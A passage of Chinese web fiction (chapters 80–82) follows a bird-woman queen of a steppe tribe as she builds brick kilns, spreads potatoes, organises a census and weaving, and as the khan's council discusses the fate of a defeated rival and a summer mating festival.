苏赫忽律视角摆在这儿,压根没注意到拔都呼吸都有些不正常了,乌骨是拔都身边的亲卫长,年近四十,全名呼兰乌骨。上次呼兰霍兰杀进大帐的时候,就是这位勇士亲卫长以命护主,才叫拔都只是被砍伤胳膊,雪域上也有这样的说法,当一个部落之主身边的呼兰护卫死去,几乎就可以宣布败局。 但拔都还是抱着一线希望,哑声询问:“克烈部那么多人,怎么败的?” 老头很迫切想要得到一个克烈部败退回撤的消息,毕竟当时有三个叶护在场呢。但苏赫忽律茫然抬了抬头,“好像是几家族长联合起来反水,我们这边又来了援兵,我也不清楚。当时打得很乱,就一直是追击追击,我都约束下属不要杀人了,可是他们说按人头先分房什么的,舅舅,我尽力了。” 后面的话,拔都已经听不进去了,一直悬着的心终于放了下来,他向后仰躺下去,这下心里可踏实了。 苏赫忽律很关心这个舅舅的,马上对外头喊,“弄些水饭来,人醒了!都要饿晕了!” 那边得知拔都醒来的消息,苏赫阿那揉了揉眉心,询问来报讯的亲卫阿克,“忽律怎么说?可有悔改之意?” 阿克面露难色,苏赫阿那从眉心揉到太阳穴,只道:“罢了,仍旧关着,暂时不要叫其他人和他接触,拔都那边,叫两个侍从……叫两个愿意服侍的汗妃暂时去看顾,现下还忙。” “是!”阿克刚要离开,想到二王子抓着栏杆泪眼哀求的模样,又回过头,一边察言观色,一边小心试探地说:“大汗,其实二王子只是重情义,他年纪还小呢,和拔都关在一起,恐怕迟早会受刺激。” 苏赫阿那摇摇头,轻声说道:“再看看吧,他能改改性子也许是好事。” 阿克领命而去。 这些天苏赫部是真的很忙,忙着抓回散放的牛羊,回迁帐篷,期间难免发生一些争吵和摩擦。之前林一让做的人口普查就派上了用场,谁家有几头牛多少羊,大致住哪块草场,人口册子上记得清清楚楚,有想占便宜的拉去挨几鞭子就老实了。 除此之外,还要接收克烈部的地盘和人口,有一些部落在最后投靠过来的,也为苏赫部流了些血,需要按功劳分配,这其中最重要的一项,是林一许诺的,为他们建房。 不是所有部落都像苏赫部这样有稳定的草场,但一定有个大致的活动范围,还是那句话,可不是雪域人愿意住牛羊毡帐的,又不抗风又不保暖的,是雪域的贫瘠造就的特殊居住环境,可是现在林一手握科技的力量——风氏砖! 风家两兄弟乃是传说中的女娲后人,大世族风家的支脉,虽然烧不出美轮美奂的风氏瓷,可有偏心眼老爹背地里传承,其他的工艺林一也不放在心上,最重要的是他们熟练掌握了一门沙土烧砖的高精科技。 两人能在雪域建出大规模龙窑,哪有需要在哪出砖,就是来得时间不大对,两人是年头雪期的时候被带来的,只能赶上一个严雪季节的尾巴建造了苏赫部落第一个建筑大通铺,为苏赫部的老人小孩弄了长龙火炕,就这一个工程,冬季差不多就过去了。 家主风怡在辽东还算得上一个中年美夫,肤白气色佳,其弟风期更是天生一副好皮囊,待在雪域还不到一年,林一再见两人时还往后瞅了瞅,人呢?这俩流浪放牧人怎么来她眼前晃悠就是不走? 两个黑不溜秋的中年人对视一眼,颇为无奈地自报家门:“林女君,多日不见了,我等兄弟是有些……经不住风霜。” 林一瞪圆了眼睛,这不是有些经不住风霜,这是黑石堆里打了滚出来的啊! 虽然很可惜两个美人,但林一很快调整了一下语气,沉肃地道:“现在你们有一个夏秋的时间外出公干,拢共是四个小部落,三个中等部落,你们去起个头,建出砖窑来,然后等出了砖,再去指导建房。我的想法是最好带几个学徒工,平时没事教一教,啊对了,差点忘记正事。” 她回过头,把帐子屏风后头等着的三个女子拉了出来,风怡和风期齐齐一愣。 “你们送出去的三个女儿对吧,前段时间的事,她们在拔都老头那里不怎么受宠了,就被送给二王子苏阿奇,这人不错的。”林一挠了挠头,说道:“现在她们都想跟着苏阿奇去放牧,你们也劝劝吧。我记得你们说风家人有抟土的天赋,别浪费啊,你们带着教教怎么建沙土房吧,这不比跟着去放牛羊强,直接养活自己的男人多好。” 三个女儿都是风怡的孩子,风期是只有一个独生子,但打小养到大的姑娘岂能没有感情的,又不是父女不见面的那种钟鸣鼎食的大族。两兄弟都有些沉默不安,长女反倒柔声劝慰,“阿父,叔父,那时节兵临城下,多少女眷受辱,我们姐妹又岂能独全,是我们依托风氏女身份才能免于受难,何况我早知父叔没甚大本事,能过到如今已经很好了。” 林一捂住嘴巴,假装自己没有笑。 风怡喏喏,好半晌才道:“那……跟为父学点手艺吧,莫要真去跟男人放羊了。” 长女屈身行了一礼,两个庶女也都点头,其实林一是先劝好了人,才叫来风怡风期的,一方肯学,一方肯教,林一很满意地把人往帐子外头送。 忙活了一阵子,林一大步往外走,一直出了大平原和大河谷,在一处避风的地带看到一片小型的黑帐,黑帐就是牦牛毡帐,是做帐篷最好的材质,不是那种很有钱的部落,最多有几家几户有产人家才住得起。 这片黑帐是呼兰部落的帐子,他们的骑兵两日前已经返程,是几名族老去见了苏赫阿那,苏赫阿那正式签订了羊皮契约。以目前雪域唯一大汗的名义签署,将原属于克烈部的一大片草海划给了呼兰部落,现在整个部落陷入一片欢乐海洋,大家都赶着要在天气好的时候完成搬迁。 呼兰霍兰没有返程,反正这些事务平时也不是他操心,待了这十来天,这是林一第一次来见他。 留下来的还有一男一女两名族老,族老也是呼兰部落特有,是部落之中既长寿又聪明的老人,老人家们见多识广*,哪里看不出霍兰小子的心思。可是吧,一个沉默寡言的族长有再多的心思,他又能怎么办? 林一这趟来带了一袋土豆,一袋甘薯和苞米种子,三个羊皮袋子递给呼兰霍兰,很热切地说:“那片草海我去过,很好的地方,你把这些先带回去种种看,要是也种得出来,明年就大规模种植吧,等你们回去,我会过去看看的,袋子里有写好的种植方案,啊对了,你们懂魏朝文字吗?” 呼兰霍兰摇摇头,旁边女族老却点了点头,笑着说:“我们部落有好些魏朝来的人呢,都是往年从克烈部那边逃出来的,只要逃进呼兰部落范围,那边就不会来寻了。” 林一咧开嘴,“好,我知道了,等这阵忙完,我去你们那儿做客!” 对不住嘞!俺要摸几个识字的带回来干活! 呼兰霍兰抱紧了三袋种子,直到林一大步大步离去的背影消失在视线里,全程一言不发。 第80章 晚春五月,雁门飞花,杨裳整理了从各个渠道传来的雪域情报,亲自拟稿,再由主簿润色避讳,给洛都传讯。 对于中原王朝来说,消息算不上好坏,这些年扰民犯边的克烈部被铲平,本是好事,但原本雪域的局势乃是三家共有,是靖容公主那一代最辉煌的成就。如今又从三汗重归一家,几乎再现了大单于时代,就算对苏赫部不熟,但雪域贫瘠,就算从前不来抢掠,之后谁来保证。 江骋在侧,见杨裳眉头紧蹙,低声说道:“父亲莫忧,管他来敌几何,儿正要一会。” 杨裳失笑,顺了顺自己的浓密胡须,“年年如此,有甚忧心的,贼若不来犯我,岂有这雁门万军,我儿可知杨家之前,这雁门郡的守军规模多少么?” 江骋点头,“三千兵员。” 毕竟家学渊源,杨裳虽然惊讶,但也只是笑道:“虽不至养寇自重这样严重,但为将者,敌在我在,飞鸟若尽,良弓无用。” 江骋认真点头。 “陛下是陛下,陛下的想法和臣子不一样,嘴上说说谁都会,做臣的倘若一心迎合君王,那这臣子做不长久的。”杨裳语重心长,他一天没做过天子近臣,但所在的位置特殊,没少接收一些魏帝老头不要钱的甜言蜜语,自然有自己的心得。 他又道:“君王自然想海晏河清,想想又不花钱,他最想你我父子神勇,一气儿屠了雪域,好迁些平民过去养牛养羊。像是去年陕中大旱,他叫灾民去富庶郡县就食,说甚天子特许,不过赚些声名,可灾民真能到地方?到了地方富郡世族又有甚不愿接收的?老的、病的、小的,路上就死净了!就到我雁门郡,我也愿意收千百个劳力。” 江骋禁不住笑出了声,他很少笑,笑起来竟然还很俊朗。 杨裳也笑,说道:“这消息传去,陛下那里肯定有些话来,不必管他,你我父子过好自己的日子,守土安民也好,养寇自重也罢,不在其位不谋其事,我杨家已经算是对得住他了!” 这话说来底气十足,毕竟吃空饷喝兵血的守将那么多,雁门虽然年年被犯,但从未失过城池。 父子书房叙话完毕,江骋推门而出,正见王氏夫人清云避在廊下,身边两名侍女一个端食盒,一个捧茶盏。此时不是饭点,只是来为杨裳送些下午茶食,他也见惯了。嗣子年长,一般要避嫌隙,江骋没有上前,只是双手并指在前,低头一礼,叫了声母亲。 王清云也微微回礼,两下错开而行。 没走多远,就从书房那侧传来杨裳温声细语,王夫人不常言笑,只是偶有应答,虽是老夫少妻,却也恩爱意柔。 江骋本要前往军营,因刚才之事忽有些想见萧玲珑,路过府中住处时下意识停了停步,忽然听见里面摔破瓷器的声响,抿了抿薄唇,没有进去,径直出门。 今年中原春来早,如今晚春各处都已经春耕完毕,天将近夏,世族自然是趁着晚春的尾巴乘车游玩,几家小姐游园听曲,几家公子结伴游学,偶有才子做诗文,引得洛阳纸贵,满城花名。上了年纪的老农却已经注意到了危险,打从开春起,老天爷没下过一滴雨,去年只是陕中大旱,就有无数灾民饿死地头,今年不下雨的地界更多,各地都早早开始祭龙王。 也有祭鬼祭神的,只是不多,还有某些偏远地区祭起了不知道什么玩意儿,啊对,说的就是辽东辽西。 辽东从被雪域人打下来开始就变得奇奇怪怪,反向修了长城不说,还严格控制水路进出,只差把防备写在脸上,随后又开始种了些不知道哪里来的乱七八糟的种子,有的还拖慢了春耕,最重要的是,今年大家都不下雨,辽东开始祭鸟大王了。 辽西本来祭的是龙王,由各家地主乡绅牵头,摆上三牲果礼,龙王爷的雕像涂金漆,青壮小伙八人抬,敲锣打鼓绕田垄,往年做熟了的,不止旱年祭龙王,大涝也要祭啊,但是没什么用。 今年祭龙祭了小半个月,仍然没有雨,但不知怎么这么寸,辽东那边来了雨云,虽然没有下得很多,但确实是下了啊!而且是三村四乡一起祭了鸟大王之后,不到五天下的雨。 春雨贵如油,这时节雨水比油水还珍贵,农家可以不吃油,但庄稼不吃水,今年直接就饿死地头了! 辽西王家村,一户农家大院里,徐三一脚踏在高台土堆上,大嗓门扯得破破烂烂,高声道:“地主老爷祭龙王就叫他们祭去,咱们庄稼人就得拜鸟大王,乡亲们,你们想想看,龙王爷吃咱们三牲果礼吃了多少年了?吃都吃腻歪了,要是真办事,至于年年饿死人吗?仙家有仙家的理儿,现在鸟大王没什么人供奉,所以供奉它,它才给咱办事啊!就是村头打水,那也是先到先得,对不对啊?” 一院子的农家男女张着嘴巴看着他说话。 徐三又嚷道:“咱们辽东和辽西,一条河水养不出两样人,现在我们辽东种粮不交税了,再有点小雨下下,今年过得有多美啊!你们呢?咋连拜个鸟大王都不肯,我这趟来还带了鸟大王拾的宝种,在我们辽东已经种出来了,鸟大王不吃三牲果礼,现在只要跟着我喊几句口号,马上送,马上家家户户都送!” 有个老农等他说完,扯着嗓子催促,“娃子,别说了别说了,先告诉俺们口号咋说的!” 徐三一下子肃穆起来,整个人扒拉上高台,先嘎了一声! 也不知是风雷听令,还是凑巧。他刚嘎完就一声晴空响雷,乌云堆积,眼见是要下雨了,辽西王村全都轰动起来。原本没心思过来听人开大会的村民也纷纷赶过来,什么口号是一句没听清,就记得那声引来雨云的嘎了!一群人就在院子里外跟着大声仰头朝天嘎嘎起来。 对徐三的操作,目前辽东郡守姜命还不知情,他其实没让徐三去辽西做宣传,只是叫他去送一批种子,数目不多。他暂时只想让辽西那边的穷苦人得些利,有了丰产的作物,又一时没有对这种作物收税的法案的话,今年辽西应该不会饿死太多人。 姜命本身就是辽西郡姜家的庶脉出身,关心辽西是自然的,但这事他并不和姜氏主家通气。作为聪明人,他和崔殊一样意识到了很多东西,和崔殊的不安相比,他接受得最早。 自打种了土豆,谁都知道这是好东西了,不挑地不挑时辰,两个多月就能收。下种也不麻烦,远到辽东,近在雪域的草地里头,扒拉开土一埋就行。雪域这些地皮又不值钱,谁家放牧都爱往毡衣口袋里揣些土豆,放牧放到哪儿,就埋几块。 林一也有这习惯,而且现在土豆切块下种的技术也开始普及了,她习惯性带一个大袋子,飞到哪儿就种到哪儿,也不光是在雪域,有时候去别的地方拾点啥东西,也会种上点,好东西就是要分享的嘛!当然,主要是她分享别人的。 魏朝的织机就是这么分享来的,之前拾来的样机已经做出了实物,只是还不多,目前能用的更是才一架。 林一坐在几个毡帐中间隔出来的空地上,十几个妇人各有分工,中央摆放的是一台新造不久的织机。许多人跑来围观,但基本上都是女人,格桑粗壮的大手抓起一卷洗净脱脂的羊毛,磕磕巴巴开始纺线,林一把鸟头凑过去,有些惊奇地看着一根长长的羊毛线的诞生。 魏朝来的玉华公主和她的侍女也在,主要是侍女比较有用,好几个侍女不光会纺织,还会刺绣,当然后者被林一无视了,她把几个侍女拉过来坐草墩墩,让她们来指导雪域妇女纺线织布。虽然原料不一样,但只要能出线,羊毛难道还没有麻好纺织吗?侍女们都很有信心和底气。 “羊毛纺的线摸起来有些扎,但没关系,麻布比这硬呢,就是大小粗细不太好掌握,弄熟了就好了。”一个圆脸侍女脸红红的,声音放的很大,这是林一提醒过的,她最开始声音太小了,在雪域这种空旷环境很难听得清,大家都是扯着嗓子的,没必要细声细气说话。 格桑纺的线粗细很均匀,没多久就积成一大团,然后开始分经纬,织出来的羊毛布虽然还是粗糙,但比毡衣轻柔许多。 林一不停地夸赞几个侍女手巧,圆脸的侍女被夸得晕乎乎,起身时都不知道怎么站了,走到玉华公主身后时还下意识地大声说话,被公主狠狠瞪了一眼。 这其实已经算好了,放在从前在洛宫的时候,哪有这样的不规矩,却连句斥责都没有的,侍女刚觉得庆幸,那边林一就指着玉华公主说:“你瞪她干什么?一个下午就你什么事都不干,还瞪人家干活的?” 玉华公主愣了愣,她身边的姑姑连忙打圆场说:“可敦莫怪,我们公主天生眼白就多些,不是故意的……” 林一忽然眼睛翻白,是整个眼眶里只有眼白,眼瞳被她翻里侧去了,把公主吓得失声尖叫。 成功恶作剧后,林一挺高兴的,这才把眼睛翻了回来,“行了,你们现在都是俘虏的身份,很多人还向俺告了你们嘞,这几天俺也是忙不过来,等军师从北都回来,还得审你们这些人,甭以为什么事都没有了,还有闲心瞪人家干活的。” 那边齐齐都是一愣,连之前为玉华公主说话的姑姑也纳闷,她算是很聪明的宫人了,却也怎么想都想不出来,她们,犯什么事了吗? 林一都不搭理,犯什么事都不知道,真是魏朝那边给惯的,作恶作到像吃饭喝水一样自然,现在整个克烈部那边,除了一些失宠的汗妃,唯一比较清白的就是祝若嫣了。对,就是那个给拔都哄得不知东西南北的汗妃,原本是世族贵女,流落雪域后七次易手,次次都没有好结果的雪域妖姬。 人家清白得很,从来不打骂打杀奴隶,反倒是救下很多人。就连风家三姐妹失宠后,本来要送给巴特铁木尔的,也是她求了拔都,又故作在意地撩拨了巴特铁木尔,才叫三姐妹被送了相对正常人的二王子苏阿奇,什么雪域妖姬,污蔑!纯属污蔑,她清白得简直像雪山流下的冰水哩! 反正林一可喜欢这个心善的大美人啦。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 祝若嫣不在苏赫部,自从克烈部大败,目前苏赫部是全盘接收克烈部的一切,包括牛羊,地皮,人口等。克烈部常年不养老人,人口组成基本就是青壮年的男女和没长成的孩童少年,这些原本需要很花心思搞人口普查的东西,有祝若嫣帮手,进展倒是快了起来。 庞半天做熟了这些事的,今日要为十二户人家录入人口册子,她一般会提前三天通知,因为人口普查时需要全家一个不少,提前告知可以协调好时间。她通常会带着呼兰六兄弟中的一个,最常带的是老六呼兰布罕,因为他懂一些魏语,虽然不会写,但沟通起来非常方便,他也是六兄弟里最聪明的一个,庞半天把他当助手带着用,其他五个就只能是打手一类。 去牧民家上门普查,当然要带打手!就算是民风淳朴的苏赫部,一年到头也会出十几起案子的。雪域人野蛮是真的野蛮,放在魏朝也许吵吵架就能过去的事,放在雪域要打到一方爬不起来,一个错手给打死了也是常有的事。 呼兰布罕每次跟随庞半天出门,都要穿色彩艳丽的衣裳,编一头小辫子,这属于雪域男人的精致妆容。 原本属于拔都的金顶大帐被林一带去黑石部落用了,在克烈本部有宫殿的,但暂时闲置着,从苏赫部来的人们还是住黑帐,呼兰六兄弟和庞半天的帐子就在宫殿不远处,还避风,是一个很大的牦牛毡帐,内里是有帐帘隔开的,还有一些简易屏风之类的隔断,其实普通牧民家庭不这样装潢。 昨夜劳累了些,其他人都还在睡,庞半天睡得尤其沉,呼兰布罕已经早早起身。 因为一整天都由他陪伴妻子,所以今天的劳务也是他来做,帐外灶台上生火架锅,简单炖好一锅鲜羊奶,单独给庞半天的那一碗里加了两勺石蜜,再切两块牛肉干分割好,摆在一旁,就是一顿简单的雪域早饭。呼兰布罕留下一锅什么都不放的奶和大块大块的牛肉干给五个没起床的哥哥,就咕嘟嘟喝饱羊奶,先行洗漱编头发。 捡牛粪铲羊粪这种活是不用干的,他不能带着一身粪味来陪伴妻子,放在每个人身上都一样,呼兰布罕出去骑了一圈马后,回来就见庞半天已经坐在桌前吃早饭了。 庞半天吃饭的样子很好看,她不是端起奶碗直接吨吨吨的,要用一个瓷做的小勺子先搅匀化开碗底的石蜜,然后舀起半勺品尝甜度,满意了才会舀起三分之二的羊奶小口啄饮,牛肉干要切成薄片,一片一片地吃。即便是很粗糙的饮食,她也是一副享用珍馐的姿态,而且嘴角总是上扬一点弧度,让人看了就知她心情很好。 呼兰布罕一边缝皮子一边看,一回头看到五个哥哥全醒了,窝在一起凑在屏风后头蹲着偷看,忍不住翻了个白眼。 “布罕,等会儿我们要带三匹马,先去接上若嫣姐姐,然后去第一户牧民家,今天早上最少要跑四五户人家,马喂饱了吗?”庞半天吃完,用帕子擦了擦嘴角的奶渍,回头轻声询问。 呼兰布罕有种微妙的优越感,站起身点点头,“夜里喂了一次,早起喂了一次,我带些草料中午再喂一顿,今天足够了。” 庞半天夸他,“你最细心了。” 一个帐子里立刻有十只虎视眈眈的眼睛瞪向呼兰布罕,直到和妻子两人出了帐子,呼兰布罕才松了一口气。 多夫家庭,帐子里总是弥漫着一股令人窒息的酸臭气息,可能是某五个人不爱洗澡导致的,老六心想。 呼兰布罕飞身上马,刻意表演了一个很利落的姿势,然后跨在马上朝庞半天伸出手,被她好笑地打了一下,“行了,不共骑,还要去接若嫣姐姐呢,别叫人看笑话。” 老六只好露出一个很遗憾的表情。 祝若嫣住的是她原本的住所,克烈宫殿的一处院落,其实也不甚精致,都是石头砌成,在魏朝属于修长城的材料,但在雪域已经算是上好的住处。她的资产倒是被没收了,那些金啊玉啊绸缎料子什么的,但常用的一些器具裙裳都给她留了下来。 庞半天匀给祝若嫣一匹马,两人并马前行,呼兰布罕离得稍远一些。女人说话时候男人最好不要掺和,这是呼兰部落的古老规矩,来源于那位一生娶了四十二个妻子并给自己取姓“野生驴子”的猎熊勇士先祖,先祖过得苦啊! 祝若嫣年长许多,在魏朝是足以给庞半天做母亲的年纪,说话仍然温声细语,眼媚如丝,“妹妹昨日的话还没说完呢!林女君那时不通言语,是如何交流的?那化鸟之事也没说到,我那时见过林女君鸟身,真是遮天蔽日。从前也不曾听闻鸟能化人,或人能化鸟,她怎生真如天上掉下来的一般。” 庞半天很谨慎,笑着答:“只是手语而已,主君本就是此间生灵,哪有什么从天而降,若嫣姐姐不曾听闻《山海经》有云,羽人国在东南,其民有翼,身生羽,还有《归藏》所言,鸟人……” 祝若嫣一时有些无语,她要听这些改过的古籍做什么?那姜造化可真是能造化的,他才去了苏赫部多久,改了多少古籍了,要不是她自幼熟读经典,且对自己的记忆无比自信,换个学识不那么深的,听完这些改版后也许要怀疑自己记错了呢! 庞半天便露出个不尴不尬的笑容来,好在第一户牧民家里也到了,三人下马,这一户人家早得消息,从户主到几个儿女都在,挨个录了名姓年纪大致长相等,家中几头牛羊,往年活动范围等,全记录在册。 到傍晚左右,十二户人家普查完成,祝若嫣也疲累得很,再没心思打探,庞半天把她送回住处,和布罕两个人踏着夕阳返程。 人口普查这活计又繁琐又累,做的人还少,除了庞家姐妹和被林一忽悠去干活的霓裳羽衣之外,也就是那一批世族了,真耐得下性子做事的人也不多,做得最认真的就是庞半天,她的人口册子做得最细致。 布罕很心疼的,但是又不好劝她不做,还是先祖传下来的规矩,不要拦着女人做她想做的事,不然你将体会面对熊时都不会有的大恐怖。 夜晚,雪域的晚春仍旧微寒,星空却很灿烂的,林一抱着一大卷羊毛线织成的布往黑帐那边走,走了有一小会儿,忽然看见关押拔都的帐子了。因为这几天一直在忙活整理克烈部的东西,这老头一直没想起来杀,里头有哭声传来。林一走过去,值岗的亲卫当然也不拦着她,她把鸟头往里伸,就看见一笼之隔,苏赫忽律正在呜呜直哭。 林一立刻就心疼了。 苏赫忽律长得最像苏赫阿那了,除了眼睛颜色不一样,两颊宽度不一样,二王子看上去圆乎一点,然后头发卷度不一样……虽然有很多不一样的地方吧,但是就是长得很像啊,林一没见过苏赫阿那哭,但一见小漂亮哭得呜呜的样子,马上代入进去了,挺起胸膛往里走。 “哭啥哭啥,别哭了。”林一很慈爱地摸了摸苏赫忽律的头,“恁爹把你关这儿了吧?没事嗷!俺带你出去,孩子还小呢,关几天得了,还能一直关着啊,别哭,擦擦脸,来……” 帐子里不如外头亮,苏赫忽律是坐在小床上哭的,黑漆漆的忽然伸过来一只手揉他的头,还用很难听的声音安慰他。二王子马上哭得更凶了,往床里边缩,但都缩到靠着帐子边缘了,林一的手长,还是一直在他头上顺毛。 林一夜视能力强,看他哭得脸花花的,又问道:“太黑了吗?跟我出去吧,外头有星星有月亮的,就不怕黑了。” 苏赫忽律慢慢地哭声小了,他分辨出这具有很强烈个鸟特色的声音属于谁了,一声声抽噎着,但还是努力地冷冷说:“没哭,没怕黑,我要等阿父放我出去。” 林一又想伸手了,苏赫忽律往侧边避让,抿住嘴巴,只是难免还发出几声哽咽,他现在觉得自己丢脸丢大发了!一个要成就王图霸业的人怎么能被别人听见在哭,他这会儿哭也是认准时间的,因为拔都舅舅刚才昏过去了嘛,他抓紧着时间想哭一哭发泄委屈的,谁知道会被外面的人听见啊! 林一只好把爪子收了回去,但还是不放心地道:“真的?俺去给你放盏灯进来吧?” 苏赫忽律坚决摇头,又摆出那副拔都同款的阴冷脸色来了。 林一没怎么哄过苏赫阿那之外的男人,这小漂亮还尤其不好哄,她抓了抓头发,还是出去弄了一盏酥油灯给他放在桌子上了,然后转头就走。 等她的脚步声听不见了,苏赫忽律跳下小床,把酥油灯挪到床边,一双泪眼盯着跳跃的灯火,渐渐不哭了。 阿娘啊,女人好像没有你说的那么坏。 第82章 初夏时节,崔殊从北都出发,返回苏赫部。 铁勒高车轮子高阔,行驶起来平稳,但谁坐上十来天屁股都得疼,崔殊吸取了上次的经验,在车里铺了厚厚的垫子,但还是被颠得面如土色,好不容易等到车队停下来埋锅做饭,他颤巍巍往外爬。 赵春儿是这趟护送骑队的头儿,她伸手过去搭了一把,崔殊顺利地爬出车厢,还带了个垫子放在草地上,靠着车轮歇下来,这才感觉自己好多了,笑着道:“多谢春儿姑娘。” 赵春儿看起来腼腆,摆了摆手,正要回返去烧火,就听崔殊说道:“这趟回去,春儿姑娘应该可以名正言顺领一个百人队了吧?” 雪域这边说“队”,指的就是骑队,他们就没有步兵。 “格桑大娘说,会为我挑选一支女骑队……”赵春儿不大擅长和人闲聊,双手无措地缩起来,怕崔殊觉得她敷衍,干巴巴地又说:“我喜欢领女军,现在部落多了很多马匹,可敦那边要装备一支健妇军了,只要二十岁以上的女人,但是我可以特例加入。” 她没说自己杀了多少人,崔殊却听说过的,闻言点头,认真地道:“女军轻骑,是个很好的出路。” 风拂过崔殊两撇鲶鱼似的胡子,看起来有一点好笑,赵春儿忍住了没笑,她发现崔殊其实很少捋他的胡子,只是很寻常一样让它们长着飘着,渐渐地也就止住笑意。 “春儿姑娘可有想过将来的事吗?”崔殊忽然问道。 赵春儿愣了一下,不确定军师说的是那方面的将来,要是问她想没想过前程,还在正常范围之内,但这话是一个男子问姑娘家,难免就有些别的意味,但她犹豫了一下,还是老实地道:“好好训练,杀敌领赏,我还是想要一个孩子的,可能会升到千骑之后,在夏秋季找个合心意的人。” 崔殊看她,“我问的就是再往后的将来。” 赵春儿茫然,“生、生了孩子之后?就养活呗,军师问的是如何教养孩子吗?我们家历来是不分男女都教些防身技巧的,从五六岁上开始练,练到十来岁左右身子骨硬了就可以加练……” 崔殊叹气,把话挑得明白些,“春儿姑娘,你已经踏上了功名利禄之路,此生只有看个成就高低,再也没有从前低眉顺眼服侍人的时候了,你只当自己是某个世族的先祖,正要建功立业。我只是想问,倘若你做了千骑万骑长,乃至将军元帅,但你的功业和兵权不可传子女后代,到那时你会如何想呢?” 赵春儿更加茫然,“我做了将军元帅,我的兵不能传子传女……军师,你是不是想得太多了?就算真到了那一步,若我儿孙是废物,得我家产享几代富贵就行,为什么要叫他们传我的代,脏我声名?” 崔殊一怔。 赵春儿已经很尴尬,感觉聊不下去了,正好前头饭熟,她匆匆告辞。 这趟是护送他回苏赫部落,不是行军,饭食滋味都还不错,特意给他蒸了魏朝的稻米饭,配蒸羊肋排和咸奶茶。崔殊只喝了几口奶茶,吃了一点米饭,羊排油腻,瘦肉上覆盖一半的肥羊油,实在是吃不下,后头赵春儿又给他拿了两只烤土豆来剥皮吃,崔殊这才舒心许多。 次日,好消息传来,距离铁勒部只剩下一天路程,见到铁勒部特色的高大穹顶就意味着苏赫部也快要到了,在牧民的歌谣里,铁勒和兀鲁,如今是苏赫王部的车驾和马鞭。 王部,一个地域之中最大掌权者的称谓,在雪域语里是一个发音低沉有力的单词。自二百年前塔塔尔王部发生三王之乱分崩后,雪域王旗起落,这个单词便只是出现在老人的回忆里。 如今的苏赫部却足可撑起这个词汇了,崔殊的车驾远远到了大河谷,就看到两岸牛羊簇簇,人来人往。有黑胖的孩童跑跳,有年少的女郎高歌,有远行的商队用骆驼带来货物,还有一队队的骑兵绕着平原策马列阵,迎面而来的就是一个印象:丰饶。 一只巨型鸟类双翅伸展,在部落上空盘旋十几圈,随后一飞冲天,很远还能看到黑点不散。 崔殊合上车帘,打了个哈欠,让车队直接把他送到帐子门口。他不是被王澈传染了懒病,是这些天的路真给累到了,世族公子哪里经过太多远路,他没来雪域之前,走过最远的路就是魏帝的套路。 结果到了部落还不消停,刚躺进被褥里没多久,就有亲卫在门口通传,说是大汗有请。 崔殊强打精神起来,掀开帐帘就看到王澈已经走在前面了,说走也不准确,人家是舒舒服服靠在轮椅上被侍从推着走的,崔殊琢磨了一下,忽然觉得自己也可以弄一个。 侍从低声在王澈耳边说了什么,王澈就回过头来,看了一眼崔殊,也打了个哈欠,这才是早上呢,他一般睡到中午起身的。很简单地给刚回来的崔殊解释:“应该是夏秋季的事,今年最好办得盛大一些,一来宣扬王威,二来各部之间走动走动,也好繁衍生息。哦,可能顺带解决一下克烈王族的事,这事没什么可说的。” 崔殊拧起眉头,“可我才看到可敦出行……” 王澈摇摇头,他从前养过鸟的,小鸟才能依人,大鸟全是留不住的街溜子,让一只那么大的鸟每天窝在部落里,那不瞎扯嘛。 “不要顾虑那么多,这里不是魏朝。”王澈提醒,“苏赫大汗是个聪明人,三个王子的情况你也清楚了,你总是想太多,和苏赫大汗接触又太少,他是个……” 王澈想了想该怎么形容,然后果断地说:“倘若把苏赫大汗和萧君换一换位置,那你我都不会在这里待着了。” 这真是个有力的形容。 崔殊不自觉捋了一下鲶鱼须须,承认自己可能是被魏帝搞得有些应激了,不大信任掌权者。 一片连营黑帐之中最大的王帐,帐帘大开,内外通风,没有歌舞丝竹助兴,是个挺严肃的场合。部落之中有头脸的人物都在下首列座,王澈和崔殊两人被请到很靠前的位置上去,面前摆放了一些茶食糕点,和一大铁壶的乳清,朴实得很。 苏赫阿那今日有些疲倦的姿态,微微向后靠着可汗大座,等人来齐,温声说道:“今日可敦不在,要去一趟辽东,闲杂的事务不少,诸位慢吃茶食,我们一件件来。” 第一件就是处理克烈王族了,自从克烈部大败,四处逃散的溃兵陆陆续续被俘,拔都也被关了许多日子。昨日格桑去看了一趟,回来就上报,再不处理用不着处理了。 老话说七十三八十四,阎王不叫自己去。拔都今年虚岁七十三了,一生经历的大起大落虽然不少,但这回是全输光了,一下子精神气也就散了,现在高烧好几天,人都说不出囫囵话。昨日也把苏赫忽律放出来了,毕竟帐子里已经弥散着一股将死之人的气味,怕二王子受不住这个刺激。 苏赫阿那对拔都没有过多的怜悯,起了个头,便直言道:“昔年我与拔都结为兄弟,按理让他自死也罢,于我名声上也好听些,但是……” 凡事就怕个但是,苏赫阿那话锋一转,虽然没有过多说拔都的罪行,但只是简单点出几件来,也足够令人生厌。 部落里没什么人非要和苏赫阿那唱反调的,唯一可能求情的苏赫忽律,啊他没在,昨天被放出来之后就在帐子里痛哭一场,然后现在哭累了正睡着。 小王子乌苏坐在王澈旁边,他也没开口,少年郎这些日子常被灌输一些儒学之道,当然最重要的是他和这个舅*舅从小不亲,面都没见过几回。 第二件则是部落之中近来发生的几个大小案子,都按常规处理了,第三件正是王澈和崔殊说过的夏秋繁衍季之事。 从前雪域三个大部落,每年夏秋中小部落就等三个大部落商量好,去哪里然后通知就行,现在没有可以商量的部落了。这事昨天苏赫阿那在睡帐里和林一谈起过,但是林一心思完全不在这上头,现在苏赫阿那把这事重新拿出来,底下的人就正经得多,全是认认真真出主意的。 苏赫阿那自来简朴,他提出的想法是,在北都、苏赫平原和呼兰草海还有克烈河那边四处开设夏秋集会,让各个部落可以避免耗时耗力在路程上,对于什么朝觐,他压根不在乎的。 崔殊想了想,开口说道:“部族繁衍,一向是一年之中最重要的事,牧民即便花费一些钱粮在路途上也是愿意的,反而就近开设的话,一些牧民会因为家门口就有集会而怕行远途,很容易造成亲缘之间回交。” 苏赫阿那点了点头,他考虑过的,回交就是子代和父母之间的繁衍,在雪域其实不少。倘若只是两个部落之间举办集会,举个例子,一个青壮骑兵在夏秋集会上和隔壁部落的美丽少女宿夜一场,然后返回部落。隔个十几年,青壮骑兵还在盛年的尾巴,还可以参与夏秋集会,再次遇到一个美丽少女,倘若甄别不到位,会有遇到自己女儿的概率。 